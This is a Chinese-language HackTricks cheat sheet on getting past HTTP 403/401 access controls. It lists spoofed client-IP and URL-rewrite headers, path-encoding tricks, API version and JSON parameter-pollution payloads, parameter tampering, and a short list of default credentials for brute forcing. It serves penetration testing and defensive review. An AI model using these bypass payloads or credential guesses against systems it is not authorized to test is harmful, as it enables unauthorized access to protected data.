403 & 401 绕过

Reading time: 6 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

HTTP 动词/方法模糊测试

尝试使用 不同的动词 访问文件: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • 检查响应头,可能会提供一些信息。例如,HEAD 的 200 响应Content-Length: 55 表示 HEAD 动词可以访问信息。但你仍然需要找到一种方法来提取该信息。
  • 使用 HTTP 头如 X-HTTP-Method-Override: PUT 可以覆盖所使用的动词。
  • 使用 TRACE 动词,如果你非常幸运,可能在响应中也能看到 中间代理添加的头,这可能会很有用。

HTTP 头模糊测试

  • 更改 Host 头 为某个任意值 (这里有效)

  • 尝试 使用其他用户代理 访问资源。

  • 模糊测试 HTTP 头:尝试使用 HTTP 代理 、HTTP 基本认证和 NTLM 暴力破解(仅使用少量组合)及其他技术。为此,我创建了工具 fuzzhttpbypass

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

如果 路径受到保护,你可以尝试使用这些其他头绕过路径保护:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • 如果页面在 代理后面,可能是代理阻止你访问私有信息。尝试利用 HTTP 请求走私 逐跳头.

  • 模糊测试 特殊 HTTP 头 寻找不同的响应。

  • 模糊测试特殊 HTTP 头 的同时模糊测试 HTTP 方法

  • 移除 Host 头,也许你将能够绕过保护。

路径 模糊测试

如果 /path 被阻止:

  • 尝试使用 /%2e/path _(如果访问被代理阻止,这可能绕过保护)。也尝试_** /%252e**/path(双重 URL 编码)
  • 尝试 Unicode 绕过/%ef%bc%8fpath(URL 编码字符类似于 "/"),因此当重新编码时将变为 //path,也许你已经绕过了 /path 名称检查
  • 其他路径绕过
  • site.com/secret –> HTTP 403 Forbidden
  • site.com/SECRET –> HTTP 200 OK
  • site.com/secret/ –> HTTP 200 OK
  • site.com/secret/. –> HTTP 200 OK
  • site.com//secret// –> HTTP 200 OK
  • site.com/./secret/.. –> HTTP 200 OK
  • site.com/;/secret –> HTTP 200 OK
  • site.com/.;/secret –> HTTP 200 OK
  • site.com//;//secret –> HTTP 200 OK
  • site.com/secret.json –> HTTP 200 OK (ruby)
  • 在以下情况下使用 此列表
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • 其他 API 绕过:
  • /v3/users_data/1234 --> 403 Forbidden
  • /v1/users_data/1234 --> 200 OK
  • {“id”:111} --> 401 Unauthorized
  • {“id”:[111]} --> 200 OK
  • {“id”:111} --> 401 Unauthorized
  • {“id”:{“id”:111}} --> 200 OK
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON 参数污染)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (参数污染)

参数操控

  • 更改 参数值:从 id=123 --> id=124
  • 向 URL 添加额外参数: ?id=124 —-> id=124&isAdmin=true
  • 移除参数
  • 重新排序参数
  • 使用特殊字符。
  • 在参数中执行边界测试 — 提供值如 -234099999999(仅为一些示例值)。

协议版本

如果使用 HTTP/1.1 尝试使用 1.0 或甚至测试是否 支持 2.0

其他绕过

  • 获取域的 IPCNAME 并尝试 直接联系
  • 尝试 施压服务器 发送常见的 GET 请求 (这个人用 Facebook 成功了).
  • 更改协议:从 http 到 https,或从 https 到 http
  • 访问 https://archive.org/web/ 并检查过去该文件是否 全球可访问

暴力破解

  • 猜测密码:测试以下常见凭据。你对受害者了解些什么?或者 CTF 挑战的名称?
  • 暴力破解: 尝试基本、摘要和 NTLM 认证。
Common creds
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

自动化工具

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks